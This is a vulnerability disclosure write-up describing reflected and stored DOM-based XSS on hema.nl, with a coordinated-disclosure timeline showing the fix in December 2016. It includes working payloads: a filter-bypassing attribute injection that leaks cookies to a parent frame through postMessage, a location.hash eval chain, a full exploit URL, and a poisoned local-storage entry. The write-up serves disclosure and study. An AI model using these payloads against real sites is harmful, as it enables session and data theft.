Cross-site-scripting on one of the largest Dutch franchisors

Reflected and "Stored" DOM-based cross-site-scripting on hema.nl

By abusing a sensitive data exposure vulnerability (link) it is possible to steal data from a Hema user. If the user is signed in, data like the user's name and email can be stolen using cross frame scripting (link). Besides that, a malicious JavaScript payload can be inserted into the local storage which causes DOM-based XSS.

Please note that I used FireFox to test this vulnerability since browsers like Chrome, Safari and Edge have built in XSS auditors, which filter most of the reflected XSS.

Vascb.png

Proof of Concept (reflected XSS)

While examining hema.nl I found some interesting XHR calls. One of them was ListerQuickView.aspx, which contained a lot of GET parameters.

http://www.hema.nl/Pages/Fredhopper/ListerQuickView.aspx?culture=nl-NL&nextProductId=pnl_60000199&prevProductId=&productId=pnl_60000198&productSku=12345

I tried to inject JavaScript in all the parameters but it didn't really work. Especially because they blocked all requests if the URL contained a < sign followed by another character. The value of one of the parameters, productSku, was used as an attribute value. This made it possible to execute JavaScript using the onmousemove event. Unfortunately the onload event couldn't be used since the element it got injected in was a div.

You can find the payload I used below. The inline CSS causes the div to overlap all content (this increases the chance that onmousemove is triggered). The parent.postMessage passes the cookie to the parent frame on mouse move.

&productSku=tes" style="width:100%;height:100%;position:absolute;top:0;left:0;" onmousemove="parent.postMessage(cookie, '*')">as

Which resulted in the following HTML:

xss-payload.jpg

We can now place this piece of art in an iframe, which results in cross frame scripting.

Proof of Concept (Stored DOM-based XSS)

Making it "Stored DOM-based XSS" is a bit more difficult. I divided it into two steps, bypassing the input restrictions and inserting the JavaScript payload into the local storage.

Bypassing Hema's input restrictions

The DOM-based XSS vulnerability contains a little bit more code. Lets use the previous payload and edit it to look like this:

data-message="message" style="width:100%;height:100%;position:absolute;top:0;left:0;" onmousemove="eval(location.hash.substring(1))"

This code executes the JavaScript from the location.hash. I used location.hash since hema.nl blocks a lot of characters, like < and {, and the location.hash will not be included in the request, so hema.nl will never know about it.

In my location hash I wrote #window.addEventListener(arguments[0].originalTarget.attributes[4].value,function(event){eval(event.data)}).

I use arguments[0].originalTarget.attributes[4].value (where arguments[0] is the onmousemove event) to get the value of the fourth attribute of our div, which is the string message. I couldn't just add the string "message" to addEventListener since quotes in the hash are converted to %22, which results in an unexpected % character.

So all this code basically sets a listener for messages on mouse move. Using cross frame scripting we can now execute all the code we want in the hema.nl iframe using postMessage.

document.getElementById('hema').contentWindow.postMessage('alert(document.cookie)', '*')

Which results in:

alert-cookie.png

This is the full URL that I used:

http://www.hema.nl/Pages/Fredhopper/ListerQuickView.aspx?culture=nl-NL&nextProductId=pnl_60000199&prevProductId=&productId=pnl_60000198&productSku=tes%22%20data-message=%22message%22%20style=%22width:100%;height:100%;position:absolute;top:0;left:0;%22%20onmousemove=%22eval(location.hash.substring(1))%22%20data-test=%22as#window.addEventListener(arguments[0].originalTarget.attributes[4].value,function(event){eval(event.data)});

Making it "Stored DOM-based XSS"

Hema stores some interesting JSON in the local storage. For example, they store all the products that I added to my favorites.

A product that I added to my favorites looks like this:

{
        "imgUrl":"https://images.hema.nl/products/mok-60000198-normal.jpg",
        "imgUrlX2":"https://images.hema.nl/products/mok-60000198-normal_twox.jpg",
        "name":"mok",
        "productId":"pnl_60000198",
        "price":"3.-",
}

And ofcourse, using our postMessage, we can edit it so it looks like this (note the onload in the imgUrl):

{
        "imgUrl":"https://images.hema.nl/products/mok-60000198-normal.jpg\" onload=\"alert(document.cookie)",
        "imgUrlX2":"https://images.hema.nl/products/mok-60000198-normal_twox.jpg",
        "name":"mok",
        "productId":"pnl_60000198",
        "price":"3.-",
}

Hema loads the favorites and shows the image without encoding the URL. Which means every time the victim navigates to hema.nl an alert will pop up.

So there you go, Stored DOM-based XSS!

proof-6.png

Domains

www.hema.nl (vulnerable)
www.hema.fr (protected by CloudFlare)
www.hema.be (not vulnerable)
www.hemashop.com (not vulnerable)

Timeline

Date Activity
11 Dec 2016 18:43:34 GMT Reported the vulnerability to Hema.
12 Dec 2016 09:23:21 GMT Hema is investigating the vulnerability.
15 Dec 2016 13:54:56 GMT Hema confirmed the vulnerability.
Hema will be releasing a fix in week 51.
20 Dec 2016 19:11:44 GMT Hema fixed the vulnerability.
20 Dec 2016 19:14:41 GMT Public disclosure.